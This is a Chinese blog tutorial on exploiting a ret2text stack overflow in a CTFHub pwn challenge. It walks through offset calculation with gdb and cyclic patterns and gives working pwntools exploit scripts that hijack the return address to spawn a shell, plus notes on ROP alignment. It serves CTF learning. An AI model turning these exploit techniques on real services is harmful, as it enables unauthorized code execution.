news 2026/8/15 10:25:13

CTFHub ret2text栈溢出漏洞利用:从原理到实战的完整指南

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTFHub ret2text栈溢出漏洞利用:从原理到实战的完整指南

1. 从一道题开始:理解ret2text的本质

最近在CTFHub的技能树里刷题,又碰到了经典的ret2text。这玩意儿可以说是二进制漏洞利用的“Hello World”,但每次重新审视,都能发现一些新的细节。很多刚入门PWN的同学,一看到ret2text就觉得简单,不就是覆盖返回地址跳转到后门函数嘛。但真上手去写exp的时候,常常会卡在偏移计算、栈平衡或者payload构造上。这道题本身不复杂,但它像一把钥匙,能帮你打开理解栈溢出、函数调用约定和程序控制流劫持的大门。今天,我就结合CTFHub上的这道典型题目,把ret2text里里外外、前前后后那些容易被忽略的“坑”和“技巧”掰开揉碎了讲清楚。无论你是刚接触PWN的新手,还是想巩固基础的老手,相信都能有点收获。

所谓ret2text,指的是“Return to .text”,即通过栈溢出覆盖函数的返回地址,使其指向程序本身代码段(.text section)中已经存在的、对我们有利的代码片段,比如一个直接调用system("/bin/sh")的后门函数,或者一系列精心拼接的gadget。它的前提是程序存在栈溢出漏洞,并且没有开启栈不可执行(NX)保护,或者我们跳转的目标本身就是可执行的代码。CTFHub这道题就是一个非常标准的教学案例,漏洞明显,后门清晰,非常适合用来建立完整的利用思路。

2. 题目环境搭建与初步分析

拿到题目,第一步永远不是急着写exp,而是搭建好分析环境。我习惯用Ubuntu系列的系统,配套工具比较全。你需要准备以下工具:

  • checksec:用于检查程序开启了哪些安全保护机制。
  • file:查看程序是32位还是64位,这直接影响栈帧结构和利用方式。
  • objdumpIDA Pro/Ghidra:静态反汇编分析,找到漏洞点和目标函数。
  • gdb配合pwndbg/peda/gef:动态调试,精准计算偏移,观察栈布局。
  • python3pwntools:编写利用脚本的神器。

首先,用file命令看一下程序基本信息。通常CTFHub的题目会给一个可执行文件,比如ret2text。执行file ret2text,输出可能会显示“ELF 32-bit LSB executable”或者“ELF 64-bit LSB executable”。32位和64位的利用在细节上有所不同,主要体现在参数传递(寄存器 vs 栈)和地址长度上,我们先以更常见的32位为例。

接着用checksec检查保护:

checksec --file=ret2text

你可能会看到类似下面的输出:

Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

这里的关键信息是:

  • Stack: No canary found:没有栈溢出保护金丝雀,我们可以放心地溢出覆盖返回地址。
  • NX: NX enabled:栈不可执行。但这不影响ret2text,因为我们跳回的是代码段(.text),而不是栈上的shellcode。
  • PIE: No PIE:程序基地址不随机化。这意味着代码段的地址是固定的,我们静态分析找到的后门函数地址在运行时不会变。

然后,把程序拖进IDA Pro。F5反编译主函数,是标准流程。你会看到一个非常清晰的main函数,里面调用了某个危险函数,比如vulnerable_function()或者直接就是一个用了不安全函数getsscanf的循环。

双击进入这个危险函数,漏洞一目了然。例如:

char s[100]; // 或者 buf[0x70] gets(s); // 或者 read(0, s, 0x200)

这里定义了一个局部字符数组s,长度有限,但gets函数会无限制地读取输入,直到遇到换行符或EOF,这就造成了经典的栈缓冲区溢出。我们需要溢出的数据,覆盖掉s数组本身、可能存在的栈帧指针(EBP),最终覆盖掉函数的返回地址(EIP)。

3. 核心漏洞点定位与偏移计算

找到了漏洞函数,下一步就是精确计算从我们输入的缓冲区起始位置,到返回地址存储位置之间的偏移量。这个偏移量是payload构造的基石,算错了,一切免谈。

方法一:静态分析计算在IDA的栈视图里,可以看到局部变量的布局。比如s的地址是[ebp-0x70],而保存的ebp[ebp],返回地址在[ebp+0x4]。那么从s的起始位置到返回地址的偏移就是:0x70 (s到ebp的距离) + 0x4 (ebp本身的4字节) = 0x74,即十进制116字节。这是32位下的情况。64位下,rbp是8字节,返回地址也是8字节,计算方式类似,但要注意对齐。

方法二:动态调试验证(推荐)静态计算可能因为编译器优化、对齐等因素有细微出入,动态调试更可靠。用gdb打开程序:

gdb ./ret2text

在危险函数(如gets)调用之后、函数返回(ret)之前的位置下断点。运行程序,发送一串有规律的非重复字符作为输入。我最喜欢用pwntoolscyclic工具生成。 在gdb里,你可以用r <<< $(python3 -c “from pwn import *; print(cyclic(200))”)来运行并输入。当程序崩溃时,查看EIP/RIP寄存器的值。这个值会被我们的pattern覆盖。假设EIP的值是0x6161616c(‘laaa’),然后用cyclic -l 0x6161616c命令,就能算出这个值在pattern中的偏移位置。这个偏移就是我们要的精确偏移量。务必确保静态计算和动态调试的结果一致,如果不一致,以动态调试为准。

注意:这里有一个常见的坑。如果程序本身有printf之类的输出函数,可能会在你输入之后、崩溃之前打印一些内容,这有可能截断或影响你的pattern输入。稳妥的做法是写一个简单的pwntools脚本,通过管道(process)与程序交互,确保输入完整。

4. 寻找与利用目标:后门函数

ret2text的核心在于“text”,也就是程序代码段里现成的可利用代码。在IDA中,按下Shift+F12打开字符串窗口,搜索“/bin/sh”、“cat flag”、“system”等关键字符串。如果找到了,比如有一个字符串/bin/sh,就右键点击它,选择“Jump to xref”,找到引用这个字符串的地方。

通常,你会看到一个函数,里面调用了system("/bin/sh")。这个函数可能就是shell()get_flag()或者hack()。记下它的起始地址,比如0x8048586。这个地址就是我们最终要让程序跳转过去的目标地址。

有时候,题目不会这么直白。可能没有直接的system("/bin/sh"),但是有system函数的PLT表地址和“sh”字符串的地址。这就需要我们进行简单的ROP链构造,但依然属于ret2text的范畴(因为跳转的目标都在.text段)。对于最基础的ret2text题目,通常就是一个现成的后门函数。

重要检查:确认后门函数本身没有问题。有些后门函数可能内部有某些判断条件,比如需要某个全局变量为特定值,或者函数开头有push ebp; mov ebp, esp这样的栈帧操作。你需要确保跳过去执行时,栈是平衡的,或者不会因为栈帧问题导致崩溃。最简单的检查方法就是在IDA里模拟一下执行流程,或者直接gdb调试跳过去看看。

5. 利用脚本编写与细节打磨

偏移有了,目标地址有了,就可以构造payload了。使用pwntools能极大简化这个过程。一个最基础的利用脚本骨架如下:

from pwn import * context(os='linux', arch='i386', log_level='debug') # 设置上下文,32位 # context(os='linux', arch='amd64', log_level='debug') # 如果是64位 p = process('./ret2text') # 本地运行 # p = remote('challenge.ctfhub.com', 10000) # 远程连接 offset = 116 # 计算出的偏移量 backdoor_addr = 0x8048586 # 后门函数地址 payload = b'A' * offset + p32(backdoor_addr) # 32位用p32打包地址 # payload = b'A' * offset + p64(backdoor_addr) # 64位用p64 p.sendlineafter(b'something:', payload) # 根据实际交互提示发送 # 或者 p.sendline(payload) p.interactive() # 拿到shell后交互

看起来很简单,对吧?但实际编写和运行中,你会遇到几个必须处理的细节:

1. 栈对齐问题(64位尤其突出)在64位Linux下,system函数要求栈指针rsp在调用时必须是16字节对齐的。而ret指令会跳转到我们给的地址,此时rsp可能并不对齐。常见的解决方法是在payload中,在目标地址前多加一个ret指令的gadget地址。这个gadget只做一件事:ret。它的效果是让rsp再加8,从而调整对齐状态。所以64位下的payload可能长这样:payload = b'A'*offset + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(ret_gadget) + p64(system_plt)。你需要用ROPgadgetropper工具在二进制文件中搜索ret

2. 输入处理与截断如果程序使用gets,那万事大吉,它读到换行符\n(0x0a)停止。但如果程序使用scanf(“%s”),它会在空格或换行处停止。而read函数则严格读取指定字节数。如果你的payload里不小心包含了0x0a0x20(空格),可能会被提前截断。确保你发送的地址字节里不包含这些敏感字节。如果不幸包含了,可以考虑调整溢出点,或者寻找另一个不包含坏字节的等价地址(比如后门函数内部偏移几个字节)。

3. 地址中的空字节(Null Byte)在32位系统中,地址如0x08048586,最高位是0x08,不是零。但如果地址是0x8040000,打包成p32后是\x00\x00\x04\x80(小端序),开头就是空字节。strcpygets等函数遇到空字节会认为字符串结束,导致payload被截断。这种情况下,ret2text可能无法直接使用,需要考虑其他方法,或者寻找更高位的地址。好在CTFHub的基础题通常不会在这里设坑。

4. 动态调试脚本在开发exp时,我强烈建议结合gdb进行动态调试。pwntools可以很方便地附加调试器:

p = process('./ret2text') gdb.attach(p, ''' b *0x80484xx (在危险函数返回处下断点) c ''')

这样,发送payload后,程序会自动断住,你可以查看栈布局、寄存器值,确认返回地址是否被正确覆盖为后门地址。

6. 完整利用流程实战演示

让我们串联起整个流程,假设程序是32位,后门函数地址是0x8048586,偏移是116。

步骤1:信息收集

$ file ret2text ret2text: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=..., not stripped $ checksec --file=ret2text Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

很好,32位,无栈保护,无PIE。

步骤2:静态分析IDA打开,找到main->vuln函数。发现char buf[0x70]; gets(buf);。栈结构:bufebp-0x70,返回地址在ebp+4。偏移 = 0x70 + 4 = 0x74 = 116。 在字符串窗口找到/bin/sh,交叉引用找到函数shell,地址0x8048586

步骤3:动态验证偏移编写一个简单的测试脚本test_offset.py

from pwn import * context(log_level='debug') p = process('./ret2text') payload = cyclic(200) p.sendlineafter(b'input:', payload) p.wait() core = p.corefile print(“EIP overwritten with:”, hex(core.eip)) offset = cyclic_find(core.eip) print(“Exact offset is:”, offset)

运行,确认偏移是116。

步骤4:编写最终exp

#!/usr/bin/env python3 from pwn import * context(os='linux', arch='i386') # p = process('./ret2text') p = remote('xxx.xxx.xxx.xxx', 10000) # 替换为实际题目地址 offset = 116 shell_addr = 0x8048586 payload = b'A' * offset + p32(shell_addr) p.sendlineafter(b'input:', payload) p.interactive()

步骤5:运行与获取flag运行脚本,如果一切正常,你会看到一个$或者#提示符,输入cat flagls; cat flag等命令即可拿到flag。

7. 常见问题排查与解决思路

即使按照步骤来,也可能会遇到问题。这里记录几个我踩过的坑和解决方法:

问题1:Segmentation fault (core dumped),但偏移计算应该没错。

  • 可能原因1:栈平衡破坏。后门函数开头有push ebp; mov ebp, esp,结尾有leave; retleave指令相当于mov esp, ebp; pop ebp。如果我们覆盖了栈上的旧ebp值为一个非法地址,当后门函数执行leave时,pop ebp会把这个非法值装入ebp,可能影响不大。但如果在后门函数返回时,ebp被用于其他操作就可能出错。解决:在payload中,不仅覆盖返回地址,也覆盖ebp为一个可读写的安全地址(比如.bss段地址),或者确保覆盖的ebp值不会引起访问异常。通常填充为0xdeadbeef这样的占位符也可以,因为很多简单的后门函数根本不使用ebp
  • 可能原因2:环境问题。本地运行成功,远程失败。可能是libc版本差异、系统调用差异。确保远程题目提供的libc版本与本地一致,或者使用题目提供的libc。对于基础ret2text,通常不涉及libc调用,但如果有system,其内部会涉及。解决:使用ret2libc的通用方法,或者确保目标地址是PLT表中的system地址。

问题2:成功跳转到后门函数,但没弹出shell,程序正常退出或卡住。

  • 可能原因:后门函数逻辑有误。仔细反编译后门函数。也许它调用的不是system(“/bin/sh”),而是execve或其他函数。也许它先执行了某些清理操作。用gdb单步跟进去,看看执行流和参数是否正确。
  • 可能原因:输入输出流被关闭或重定向。有些题目会在主程序里关闭标准输入输出。后门函数虽然执行了system(“/bin/sh”),但shell无法与我们交互。解决:在payload中,在跳转到后门之前,先通过ROP链调用dup2将标准输入输出重定向到socket描述符(通常是4)。但这已经超出了基础ret2text的范围。

问题3:使用pwntools的sendline发送payload后,程序没反应。

  • 可能原因:交互提示不匹配。sendlineafter(b'input:', payload)中的b'input:'必须与程序打印的提示符完全一致,包括空格和换行。最好用p.recvuntil(b'input: ')来接收,然后用p.send(payload)发送。
  • 可能原因:缓冲区问题。程序可能使用了setbuf关闭了缓冲区,或者需要手动刷新。尝试在发送payload后加一个p.recv()接收一些输出,或者使用p.sendline(payload)后跟sleep(0.1)

问题排查速查表:

现象可能原因排查步骤
覆盖EIP后程序立即崩溃偏移计算错误动态调试,用cyclic pattern精确计算
跳转后门函数后崩溃栈不平衡/EBP被破坏检查后门函数头尾,在payload中填充安全的EBP值
跳转后没得到shell后门函数逻辑非预期/流被关闭静态分析后门函数,gdb跟踪执行;检查文件描述符
远程exploit失败环境差异/网络问题对比本地远程libc,检查地址是否随机化(PIE),网络是否稳定
payload发送后无响应交互字符串不匹配/缓冲区精确匹配提示符,尝试添加p.recv()sleep

8. 从ret2text到更广阔的漏洞利用

掌握了基础的ret2text,你其实已经拿到了PWN世界的入场券。它教会了你几个最核心的概念:

  1. 控制流劫持:通过溢出覆盖返回地址,可以指挥CPU去执行任何你想要的代码(在内存可执行的前提下)。
  2. 地址计算:精确计算偏移是成功利用的前提。
  3. 工具链使用:checksec、IDA、gdb、pwntools这一套组合拳。

在此基础上,你可以自然过渡到其他更复杂的技巧:

  • Ret2shellcode:如果程序关闭了NX(栈可执行),你可以把一段机器码(shellcode)放在栈上,然后让返回地址跳转到栈上执行它。
  • Ret2libc:当程序没有现成后门,但可以泄露libc函数地址时,通过计算偏移,调用libc中的system函数。
  • ROP(Return-Oriented Programming):当NX开启,且没有直接可用的后门时,通过串联程序本身代码段中的一个个以ret结尾的小片段(gadget),像搭积木一样完成复杂的操作(如给函数传参、调用系统调用等)。

CTFHub技能树里ret2text之后的题目,比如ret2shellcoderet2libcrop,都是沿着这条路逐步深入的。理解每一步的原理,比单纯抄写exp重要得多。我个人的习惯是,每做一道题,不仅要写出能打通的exp,还要画一画栈布局的变化图,理清楚每一步执行后,espebpeip寄存器以及栈上数据是怎么变化的。这个过程很慢,但积累下来,你对程序运行的理解会深刻很多。

最后,一个小技巧分享:在编写pwntools脚本时,善用context.log_level = ‘debug’。它会打印出所有发送和接收的数据,对于调试交互过程非常有用。当然,正式脚本记得关掉,不然输出太乱。另外,对于需要多次尝试的题目,可以把偏移计算、地址查找等步骤也写成脚本的一部分,实现半自动化,提高效率。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/15 10:22:44

软件项目报价常漏的8项成本

软件项目报价时&#xff0c;最容易漏掉的8项成本很多项目不是价格报低了&#xff0c;而是报价单里根本没写全。签约时看着有利润&#xff0c;做到一半才发现&#xff0c;每一项遗漏都在吞工时。这类问题不能只看一个总价或一个工具。更可靠的做法&#xff0c;是沿着实际交付流程…

作者头像 李华
网站建设 2026/8/15 10:22:27

VSCode高效刷LeetCode:插件配置、本地调试与工作流实战

1. 为什么要在 VSCode 里刷 LeetCode&#xff1f; 如果你和我一样&#xff0c;是个重度 VSCode 用户&#xff0c;同时又需要刷题准备面试或者保持手感&#xff0c;那你肯定也经历过在两个甚至更多个应用之间反复横跳的痛苦。浏览器开着 LeetCode 官网&#xff0c;VSCode 里写着…

作者头像 李华
网站建设 2026/8/15 10:21:20

Sunshine游戏串流上手攻略:把家里的PC变成随时可玩的游戏云主机

Sunshine游戏串流上手攻略&#xff1a;把家里的PC变成随时可玩的游戏云主机 【免费下载链接】Sunshine Self-hosted game stream host for Moonlight. 项目地址: https://gitcode.com/GitHub_Trending/su/Sunshine 想躺在沙发上用平板接着玩《艾尔登法环》&#xff0c;想…

作者头像 李华
网站建设 2026/8/15 10:18:57

游戏开发核心:逻辑帧与物理帧的深度解析与实战优化

1. 项目概述&#xff1a;从“卡顿”与“掉帧”说起 最近在带几个新人做项目&#xff0c;调试时他们最常问的两个问题就是&#xff1a;“为什么我的角色移动一卡一卡的&#xff1f;”和“为什么我的子弹有时候穿墙了&#xff1f;”。这两个看似不同的问题&#xff0c;其实都指向…

作者头像 李华
网站建设 2026/8/15 10:18:15

行星齿轮非线性动力学分析与工程应用

1. 行星齿轮非线性动力学分析概述行星齿轮系统作为机械传动领域的核心部件&#xff0c;其非线性动力学特性直接影响着齿轮箱的振动噪声与服役寿命。传统线性分析方法往往难以准确预测实际工况下的复杂动力学行为&#xff0c;这促使我们采用相图、庞加莱截面和分叉图等非线性分析…

作者头像 李华